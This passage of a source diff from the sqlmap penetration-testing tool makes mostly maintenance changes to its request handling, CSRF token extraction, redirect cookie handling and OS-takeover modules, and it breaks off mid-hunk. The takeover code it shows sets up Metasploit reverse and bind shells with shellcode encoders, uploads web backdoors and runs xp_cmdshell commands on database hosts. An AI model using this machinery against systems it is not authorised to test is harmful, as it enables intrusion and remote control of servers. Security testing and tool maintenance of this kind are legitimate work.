+                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")
 
                 if not token:
                     match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
                     token = match.group(1) if match else None
 
+                    if not token:
+                        token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
+
+                        if not token:
+                            token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
+
+                            if token:
+                                match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
+
+                                if match:
+                                    token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
+
             if not token:
                 if conf.csrfUrl != conf.url and code == httplib.OK:
                     if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -981,7 +1014,7 @@ class Connect(object):
                     if not conf.csrfUrl:
                         errMsg += ". You can try to rerun by providing "
                         errMsg += "a valid value for option '--csrf-url'"
-                    raise SqlmapTokenException, errMsg
+                    raise SqlmapTokenException(errMsg)
 
             if token:
                 token = token.strip("'\"")
@@ -1039,7 +1072,7 @@ class Connect(object):
                             name = safeVariableNaming(name)
                         elif name in keywords:
                             name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
-                        value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
+                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                         variables[name] = value
 
             if cookie:
@@ -1109,33 +1142,33 @@ class Connect(object):
                             if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
                                 if re.search(r"<%s\b" % re.escape(name), post):
                                     found = True
-                                    post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                                    post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
                                 elif re.search(r"\b%s>" % re.escape(name), post):
                                     found = True
-                                    post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                                    post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
 
                             regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
                             if not found and re.search(regex, (post or "")):
                                 found = True
-                                post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
+                                post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
 
                         regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
                         if not found and re.search(regex, (post or "")):
                             found = True
-                            post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                            post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
 
                         if re.search(regex, (get or "")):
                             found = True
-                            get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
+                            get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
 
                         if re.search(regex, (query or "")):
                             found = True
-                            uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
+                            uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
 
                         regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                         if re.search(regex, (cookie or "")):
                             found = True
-                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
+                            cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
 
                         if not found:
                             if post is not None:
@@ -1166,7 +1199,7 @@ class Connect(object):
                     singleTimeWarnMessage(warnMsg)
 
                 warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
-                warnMsg += "larger statistical model, please wait"
+                warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
                 dataToStdout(warnMsg)
 
                 while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
@@ -1236,11 +1269,20 @@ class Connect(object):
                 warnMsg = "site returned insanely large response"
                 if kb.testMode:
                     warnMsg += " in testing phase. This is a common "
-                    warnMsg += "behavior in custom WAF/IPS/IDS solutions"
+                    warnMsg += "behavior in custom WAF/IPS solutions"
                 singleTimeWarnMessage(warnMsg)
 
-        if conf.secondOrder:
-            page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+        if conf.secondUrl:
+            page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+        elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
+            def _(value):
+                if kb.customInjectionMark in (value or ""):
+                    if payload is None:
+                        value = value.replace(kb.customInjectionMark, "")
+                    else:
+                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                return value
+            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
         threadData.lastPage = page
@@ -1256,12 +1298,18 @@ class Connect(object):
         elif noteResponseTime:
             kb.responseTimes.setdefault(kb.responseTimeMode, [])
             kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
+            if len(kb.responseTimes) > MAX_TIME_RESPONSES:
+                kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
 
         if not response and removeReflection:
             page = removeReflectiveValues(page, payload)
 
         kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
-        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
+
+        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
+        if message:
+            kb.permissionFlag = True
+            singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
 
         if content or response:
             return page, headers, code
@@ -1271,5 +1319,5 @@ class Connect(object):
         else:
             return comparison(page, headers, code, getRatioValue, pageLength)
 
-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
     raise NotImplementedError

lib/request/httpshandler.py

@@ -12,6 +12,7 @@ import socket
 import urllib2
 
 from lib.core.common import getSafeExString
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
             for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                 try:
                     sock = create_sock()

lib/request/inject.py

@@ -33,6 +33,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
@@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
 
     value = _goDns(payload, expression)
 
+    if payload is None:
+        return None
+
     if value is not None:
         return value
 
@@ -175,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
     # forge the SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table
     # can return multiple entries
-    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
 
         if limitCond:
@@ -336,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
 
     return output
 
+@stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
     """
     Called each time sqlmap inject a SQL query on the SQL injection
@@ -438,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
 
             if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
-                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
+                match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
+                kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
 
                 if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                     kb.technique = PAYLOAD.TECHNIQUE.TIME

lib/request/pkihandler.py

@@ -9,6 +9,8 @@ import httplib
 import urllib2
 
 from lib.core.data import conf
+from lib.core.common import getSafeExString
+from lib.core.exception import SqlmapConnectionException
 
 class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
     def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
         return self.do_open(self.getConnection, req)
 
     def getConnection(self, host, timeout=None):
-        # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
-        return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+        try:
+            # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
+            return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+        except IOError, ex:
+            errMsg = "error occurred while using key "
+            errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
+            raise SqlmapConnectionException(errMsg)

lib/request/rangehandler.py

@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
         urllib2.install_opener(opener)
 
         # create Request and set Range header
-        req = urllib2.Request('http://www.python.org/')
+        req = urllib2.Request('https://www.python.org/')
         req.header['Range'] = 'bytes=30-50'
         f = urllib2.urlopen(req)
     """

lib/request/redirecthandler.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import re
 import time
 import types
 import urllib2
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
 
             req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
             if headers and HTTP_HEADER.SET_COOKIE in headers:
+                cookies = dict()
                 delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
-                _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
-                if HTTP_HEADER.COOKIE not in req.headers:
-                    req.headers[HTTP_HEADER.COOKIE] = _
-                else:
-                    req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
+                last = None
+
+                for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
+                    if '=' in part:
+                        part = part.strip()
+                        key, value = part.split('=', 1)
+                        cookies[key] = value
+                        last = key
+                    elif last:
+                        cookies[last] += "%s%s" % (delimiter, part)
+
+                req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
+
             try:
                 result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
             except urllib2.HTTPError, e:

lib/request/templates.py

@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
         retVal = kb.pageTemplates[(payload, place)]
 
     return retVal
-

lib/takeover/abstraction.py

@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import XP_cmdshell
 
-
 class Abstraction(Web, UDF, XP_cmdshell):
     """
     This class defines an abstraction layer for OS takeover functionalities
@@ -172,9 +171,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
                 inject.goStacked(expression)
 
         # TODO: add support for PostgreSQL
-        #elif Backend.isDbms(DBMS.PGSQL):
-        #    expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
-        #    inject.goStacked(expression)
+        # elif Backend.isDbms(DBMS.PGSQL):
+        #     expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
+        #     inject.goStacked(expression)
 
     def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
         self._initRunAs()

lib/takeover/metasploit.py

@@ -81,6 +81,7 @@ class Metasploit:
                     _ = normalizePath(os.path.join(_, ".."))
                     if _ == old:
                         break
+
             self._msfCli = "%s & ruby %s" % (_, self._msfCli)
             self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
             self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
             self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
 
         self._msfPayloadsList = {
-                                      "windows": {
-                                                   1: ("Meterpreter (default)", "windows/meterpreter"),
-                                                   2: ("Shell", "windows/shell"),
-                                                   3: ("VNC", "windows/vncinject"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Shell (default)", "linux/x86/shell"),
-                                                   2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Meterpreter (default)", "windows/meterpreter"),
+                2: ("Shell", "windows/shell"),
+                3: ("VNC", "windows/vncinject"),
+            },
+            "linux": {
+                1: ("Shell (default)", "linux/x86/shell"),
+                2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
+            }
+        }
 
         self._msfConnectionsList = {
-                                      "windows": {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
-                                                   3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
-                                                   4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
-                                                   5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
+                3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
+                4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
+                5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            },
+            "linux": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            }
+        }
 
         self._msfEncodersList = {
-                                      "windows": {
-                                                   1: ("No Encoder", "generic/none"),
-                                                   2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
-                                                   3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
-                                                   4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
-                                                   5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
-                                                   6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
-                                                   7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
-                                                   8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
-                                                   9: ("Non-Alpha Encoder", "x86/nonalpha"),
-                                                  10: ("Non-Upper Encoder", "x86/nonupper"),
-                                                  11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
-                                                  12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
-                                                  13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("No Encoder", "generic/none"),
+                2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
+                3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
+                4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
+                5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
+                6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
+                7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
+                8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
+                9: ("Non-Alpha Encoder", "x86/nonalpha"),
+                10: ("Non-Upper Encoder", "x86/nonupper"),
+                11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
+                12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
+                13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
+            }
+        }
 
         self._msfSMBPortsList = {
-                                      "windows": {
-                                                   1: ("139/TCP", "139"),
-                                                   2: ("445/TCP (default)", "445"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("139/TCP", "139"),
+                2: ("445/TCP (default)", "445"),
+            }
+        }
 
         self._portData = {
-                            "bind": "remote port number",
-                            "reverse": "local port number",
-                          }
+            "bind": "remote port number",
+            "reverse": "local port number",
+        }
 
     def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
         if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
 
         send_all(proc, "use espia\n")
         send_all(proc, "use incognito\n")
-        # This extension is loaded by default since Metasploit > 3.7
-        #send_all(proc, "use priv\n")
-        # This extension freezes the connection on 64-bit systems
-        #send_all(proc, "use sniffer\n")
+
+        # This extension is loaded by default since Metasploit > 3.7:
+        # send_all(proc, "use priv\n")
+
+        # This extension freezes the connection on 64-bit systems:
+        # send_all(proc, "use sniffer\n")
+
         send_all(proc, "sysinfo\n")
         send_all(proc, "getuid\n")
 
@@ -671,13 +675,10 @@ class Metasploit:
             written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
 
         if written is not True:
-            errMsg = "there has been a problem uploading shellcodeexec, it "
+            errMsg = "there has been a problem uploading shellcodeexec. It "
             errMsg += "looks like the binary file has not been written "
             errMsg += "on the database underlying file system or an AV has "
-            errMsg += "flagged it as malicious and removed it. In such a case "
-            errMsg += "it is recommended to recompile shellcodeexec with "
-            errMsg += "slight modification to the source code or pack it "
-            errMsg += "with an obfuscator software"
+            errMsg += "flagged it as malicious and removed it"
             logger.error(errMsg)
 
             return False

lib/takeover/registry.py

@@ -33,19 +33,19 @@ class Registry:
             readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
 
         self._batRead = (
-                           "@ECHO OFF\r\n",
-                           readParse,
-                        )
+            "@ECHO OFF\r\n",
+            readParse,
+        )
 
         self._batAdd = (
-                           "@ECHO OFF\r\n",
-                           "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
-                       )
+            "@ECHO OFF\r\n",
+            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
+        )
 
         self._batDel = (
-                           "@ECHO OFF\r\n",
-                           "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
-                       )
+            "@ECHO OFF\r\n",
+            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
+        )
 
     def _createLocalBatchFile(self):
         self._batPathFp = open(self._batPathLocal, "w")

lib/takeover/udf.py

@@ -108,7 +108,7 @@ class UDF:
         return output
 
     def udfCheckNeeded(self):
-        if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
+        if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
             self.sysUdfs.pop("sys_fileread")
 
         if not conf.osPwn:

lib/takeover/web.py

@@ -47,11 +47,12 @@ from lib.core.enums import WEB_API
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
 from lib.core.settings import EVENTVALIDATION_REGEX
+from lib.core.settings import SHELL_RUNCMD_EXE_TAG
+from lib.core.settings import SHELL_WRITABLE_DIR_TAG
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.request.connect import Connect as Request
 from thirdparty.oset.pyoset import oset
 
-
 class Web:
     """
     This class defines web-oriented OS takeover functionalities for
@@ -110,10 +111,10 @@ class Web:
 
         if self.webApi in getPublicTypeMembers(WEB_API, True):
             multipartParams = {
-                                "upload":    "1",
-                                "file":      stream,
-                                "uploadDir": directory,
-                              }
+                "upload": "1",
+                "file": stream,
+                "uploadDir": directory,
+            }
 
             if self.webApi == WEB_API.ASPX:
                 multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +135,7 @@ class Web:
 
     def _webFileInject(self, fileContent, fileName, directory):
         outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
-        uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
+        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
         query = ""
 
         if isTechniqueAvailable(kb.technique):
@@ -145,8 +146,7 @@ class Web:
                 query += "OR %d=%d " % (randInt, randInt)
 
         query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
-        query = agent.prefixQuery(query)
-        query = agent.suffixQuery(query)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
         payload = agent.payload(newValue=query)
         page = Request.queryPage(payload)
 
@@ -218,7 +218,7 @@ class Web:
                         finally:
                             been.add(url)
 
-                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
+                url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
                 if url not in been:
                     try:
                         page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
@@ -230,7 +230,7 @@ class Web:
 
                 for place in (PLACE.GET, PLACE.POST):
                     if place in conf.parameters:
-                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
+                        value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
                         if "[]" in value:
                             page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                             parseFilePaths(page)
@@ -242,12 +242,12 @@ class Web:
                     cookie = headers[HTTP_HEADER.SET_COOKIE]
 
                 if cookie:
-                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                     if value != cookie:
                         page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                         parseFilePaths(page)
 
-                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
                     if value != cookie:
                         page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                         parseFilePaths(page)
@@ -257,6 +257,7 @@ class Web:
         directories = list(oset(directories))
 
         path = urlparse.urlparse(conf.url).path or '/'
+        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
         if path != '/':
             _ = []
             for directory in directories:
@@ -324,7 +325,7 @@ class Web:
 
                     with open(filename, "w+b") as f:
                         _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
-                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
+                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                         f.write(_)
 
                     self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +370,7 @@ class Web:
                     continue
 
                 _ = "tmpe%s.exe" % randomStr(lowercase=True)
-                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
+                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                     self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                     self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                     self.webDirectory = backdoorDirectory

lib/takeover/xp_cmdshell.py

@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
 
         return wasLastResponseDelayed()
 
+    @stackedmethod
     def _xpCmdshellTest(self):
         threadData = getCurrentThreadData()
         pushValue(threadData.disableStdOut)
@@ -134,7 +136,7 @@ class XP_cmdshell:
 
         for line in lines:
             echoedLine = "echo %s " % line
-            echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
+            echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
             echoedLines.append(echoedLine)
 
         for echoedLine in echoedLines:
@@ -214,7 +216,7 @@ class XP_cmdshell:
             if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                 output = inject.getValue(query, resumeValue=False, blind=False, time=False)
 
-            if (output is None) or len(output)==0 or output[0] is None:
+            if (output is None) or len(output) == 0 or output[0] is None:
                 output = []
                 count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 

lib/techniques/blind/inference.py

@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
     finalValue = None
     retrievedLength = 0
 
+    if payload is None:
+        return 0, None
+
     if charsetType is None and conf.charset:
         asciiTbl = sorted(set(ord(_) for _ in conf.charset))
     else:
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             with hintlock:
                 hintValue = kb.hintValue
 
-            if hintValue is not None and len(hintValue) >= idx:
